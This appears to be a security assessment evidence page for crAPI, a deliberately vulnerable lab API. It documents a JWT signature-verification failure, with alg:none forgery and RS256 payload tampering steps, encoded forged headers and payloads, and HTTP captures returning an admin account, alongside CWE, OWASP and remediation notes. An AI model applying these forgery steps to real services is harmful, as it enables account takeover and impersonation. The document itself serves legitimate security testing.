Test case 05 / 19FAIL

JWT Signature Not Verified - Authentication - JWT Validation

Lab environment — not a production system

Screenshots and raw traffic are not translated; text within them may be in another language.

crAPI/Evidence/[FAIL] JWT Signature Not Verified - Authentication - JWT Validation

01 — Notes

Test notes

Vulnerability

[FAIL] JWT Signature Not Verified - Authentication - JWT Validation

Description

The crAPI identity service does not verify JWT signatures. A token with the header alg:none and no signature is accepted, and an RS256 token whose payload was modified without re-signing is also accepted. An attacker can forge a token for any user and escalate the role to admin.

Impact

Confidentiality: victim account data can be read. Integrity: identity and role (admin) can be forged -> full account takeover of every user without credentials.

CWE

CWE-347: Improper Verification of Cryptographic Signature

OWASP

API2:2023 - Broken Authentication

Scenario

Normal: a legitimate role=user token only accesses its own data. Exploitation: a forged token (alg:none / edited RS256) impersonates an ADMIN (sub=[REDACTED-EMAIL], role=admin) -> accesses the admin account (id=5) -> CIA (Confidentiality + Integrity).

Endpoint

GET http://127.0.0.1:8888/identity/api/v2/user/dashboard (all JWT-based identity endpoints)

Affected feature

JWT-based authentication (crapi-identity)

Remediation

- Verify the JWT signature with the RS256 public key on every request. - Explicitly reject alg:none and apply algorithm allow-listing (RS256 only). - Use a mature JWT library; validate exp/iss/aud.

Proof of concept

1) (Screenshot 1) NORMAL: GET /identity/api/v2/vehicle/vehicles with a legitimate RS256 token (shown in full) -> 200, own data only. 2) (Screenshot 2) alg:none PROCESS: break down the original token, base64url-decode the header and payload, change alg to 'none' with no signature and set the payload to sub=[REDACTED-EMAIL]/role=admin, then reassemble the forged token (shown in full). 3) (Screenshot 3) EXPLOITATION: send the alg:none token -> 200 returns the ADMIN account (id=5, ROLE_ADMIN). 4) (Screenshot 4) RS256 tampering PROCESS: take the original RS256 token, edit the payload to sub=[REDACTED-EMAIL] and role=admin, then reattach the OLD signature without re-signing (token shown in full). 5) (Screenshot 5) CIA IMPACT: send the tampered RS256 token -> still 200 and returns the ADMIN account -> proving the signature is not verified (Confidentiality + Integrity).
View source note (English)
Vulnerability: [FAIL] JWT Signature Not Verified - Authentication - JWT Validation

Description:
The crAPI identity service does not verify JWT signatures. A token with the header alg:none and no signature is accepted, and an RS256 token whose payload was modified without re-signing is also accepted. An attacker can forge a token for any user and escalate the role to admin.

Impact:
Confidentiality: victim account data can be read. Integrity: identity and role (admin) can be forged -> full account takeover of every user without credentials.

CWE:
CWE-347: Improper Verification of Cryptographic Signature

OWASP:
API2:2023 - Broken Authentication

Scenario:
Normal: a legitimate role=user token only accesses its own data. Exploitation: a forged token (alg:none / edited RS256) impersonates an ADMIN (sub=[REDACTED-EMAIL], role=admin) -> accesses the admin account (id=5) -> CIA (Confidentiality + Integrity).

Endpoint:
GET http://127.0.0.1:8888/identity/api/v2/user/dashboard (all JWT-based identity endpoints)

Affected Feature:
JWT-based authentication (crapi-identity)

Remediation:
- Verify the JWT signature with the RS256 public key on every request.
- Explicitly reject alg:none and apply algorithm allow-listing (RS256 only).
- Use a mature JWT library; validate exp/iss/aud.

POC:
1) (Screenshot 1) NORMAL: GET /identity/api/v2/vehicle/vehicles with a legitimate RS256 token (shown in full) -> 200, own data only.
2) (Screenshot 2) alg:none PROCESS: break down the original token, base64url-decode the header and payload, change alg to 'none' with no signature and set the payload to sub=[REDACTED-EMAIL]/role=admin, then reassemble the forged token (shown in full).
3) (Screenshot 3) EXPLOITATION: send the alg:none token -> 200 returns the ADMIN account (id=5, ROLE_ADMIN).
4) (Screenshot 4) RS256 tampering PROCESS: take the original RS256 token, edit the payload to sub=[REDACTED-EMAIL] and role=admin, then reattach the OLD signature without re-signing (token shown in full).
5) (Screenshot 5) CIA IMPACT: send the tampered RS256 token -> still 200 and returns the ADMIN account -> proving the signature is not verified (Confidentiality + Integrity).

02 — Screenshots

Screenshots (3)

01 / Normal: access with own valid token

Normal: the attacker uses their valid RS256 token (role=user) to access their own data. The source capture contains the complete token; credential values are masked in this HTML view.

02 / Result: unsigned token accepted as admin

Result: the server accepts the unsigned alg:none token and returns the admin account (id=5, ROLE_ADMIN). The capture records full admin impersonation. The source contains the complete token in the header; credential values are masked in this HTML view.

03 / Impact: modified RS256 token accepted

Impact: a token with a mismatched signature still returns 200. Admin account data is exposed, compromising confidentiality; a forged admin identity and role compromise integrity. The server does not verify the signature.

03 — Process details

Process details

Credential values are masked in this HTML view; references to complete tokens describe the source capture.

PROCESS 01 / 2
01 / Decode and rebuild a JWT with alg:none, sub=admin and role=admin

Decode and rebuild a JWT with alg:none, sub=admin and role=admin

Preparation: build an unsigned alg:none token

Preparation: set the header to alg:none and leave the signature empty. Modify the payload to impersonate an admin (sub=[REDACTED-EMAIL], role=admin).

1. Original login token (format: header.payload.signature)

[REDACTED-LAB-JWT]

2. Decode each part with Base64URL

header  = eyJhbGciOiJSUzI1NiJ9
        -> {"alg": "RS256"}
payload = eyJzdWIiOiJmYXFpaEBnbWFpbC5jb20iLCJpYXQiOjE3OTA2OTA3MTQsImV4cCI6MTc5MTI5NTUxNCwicm9sZSI6InVzZXIifQ
        -> {"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "user"}

3. Build the forged token: alg='none' (no signature), sub->[REDACTED-EMAIL], role->admin

new header  = base64url({"alg": "none", "typ": "JWT"})
             = eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
new payload = base64url({"sub": "[REDACTED-EMAIL]", "role": "admin", "iat": 1790690714, "exp": 1999999999})
             = eyJzdWIiOiJhZG1pbkBleGFtcGxlLmNvbSIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc5MDY5MDcxNCwiZXhwIjoxOTk5OTk5OTk5fQ
signature    = (empty)

4. Final forged token (complete and untruncated in the source capture; credential values are masked in this HTML view)

[REDACTED-LAB-JWT]
PROCESS 02 / 4
02 / Change RS256 claims to sub=admin and role=admin; keep the original, now-invalid signature

Change RS256 claims to sub=admin and role=admin; keep the original, now-invalid signature

Preparation: change payload, keep signature

Preparation: modify the RS256 payload but keep the original signature. The signature no longer matches the payload and should be rejected, yet crAPI accepts the token.

1. Original RS256 token (valid signature)

[REDACTED-LAB-JWT]

2. Decode the payload

{"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "user"}

3. Change the payload (role user->admin, sub->[REDACTED-EMAIL]); keep the header and signature unchanged

new payload = base64url({"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "admin"})
             = eyJzdWIiOiJhZG1pbkBleGFtcGxlLmNvbSIsImlhdCI6MTc5MDY5MDcxNCwiZXhwIjoxNzkxMjk1NTE0LCJyb2xlIjoiYWRtaW4ifQ
header       = eyJhbGciOiJSUzI1NiJ9   (unchanged, alg RS256)
signature    = qiVE1YKhnGZYsQoV8qLrVMWSqX1XkvyP_8xBeCNs40s0BwNFP6ml5JkS_qAyFmcPJ9MqhN_4BCGuoIQ71mzzqWAUPd29N9mLh17OaiYFPlhalYV7A4h7XGY9sQNFyFwhlGXTSpSE5vNGzMBGVb_QXNoeabnuvIWnerN6wlkLL0vEKMIvtAkEUPey1GciCnp-6Vm_xf7g53AWjZ1Zg9d3kbDjHAvN697pn2czd98QQdK2E-DCQSyt8K8PLFRl1qqBO3gDeIv2HFJ-R-eds9QfnoeCUUk4BPBcND7BbqTFVVx6FUVx-A_lsIe8KmGNSllOP6zcDsSmQFMHmubilsdv7g   (original signature, not re-signed)

4. Resulting token (header.new_payload.original_signature) -- signature does not match the payload (complete in the source capture; credential values are masked in this HTML view)

[REDACTED-LAB-JWT]

04 — Requests and responses

HTTP captures

Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.

CAPTURE 01 / 1Normal: access with own valid token
HTTP request
GET /identity/api/v2/vehicle/vehicles HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 368

[
  {
    "id": 6,
    "uuid": "9b3ce26b-d797-404b-a961-09d7e45e0d1b",
    "pincode": "8392",
    "vin": "861P9NB3CL6ZEA9X1",
    "year": 2026,
    "status": "INACTIVE",
    "previousOwners": [],
    "model": {
      "id": 4,
      "model": "5 Series",
      "fuel_type": "PETROL",
      "vehicle_img": "images/bmw-5.jpg",
      "vehiclecompany": {
        "id": 4,
        "name": "BMW"
      }
    },
    "vehicleLocation": {
      "id": 4,
      "latitude": "38.206348",
      "longitude": "-84.270172"
    },
    "owner": null
  }
]

Normal: the attacker uses their valid RS256 token (role=user) to access their own data. The source capture contains the complete token; credential values are masked in this HTML view.

CAPTURE 02 / 3Result: unsigned token accepted as admin
HTTP request
GET /identity/api/v2/user/dashboard HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 231

{
  "id": 5,
  "name": "Admin",
  "email": "[REDACTED-EMAIL]",
  "number": "9010203040",
  "picture_url": null,
  "video_url": "data:image/jpeg;base64,B7HoBfK09fDx0A==",
  "video_name": "Admin_video",
  "available_credit": 100.0,
  "video_id": 5,
  "role": "ROLE_ADMIN"
}

Result: the server accepts the unsigned alg:none token and returns the admin account (id=5, ROLE_ADMIN). The capture records full admin impersonation. The source contains the complete token in the header; credential values are masked in this HTML view.

CAPTURE 03 / 5Impact: modified RS256 token accepted
HTTP request
GET /identity/api/v2/user/dashboard HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP response
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 231

{
  "id": 5,
  "name": "Admin",
  "email": "[REDACTED-EMAIL]",
  "number": "9010203040",
  "picture_url": null,
  "video_url": "data:image/jpeg;base64,B7HoBfK09fDx0A==",
  "video_name": "Admin_video",
  "available_credit": 100.0,
  "video_id": 5,
  "role": "ROLE_ADMIN"
}

Impact: a token with a mismatched signature still returns 200. Admin account data is exposed, compromising confidentiality; a forged admin identity and role compromise integrity. The server does not verify the signature.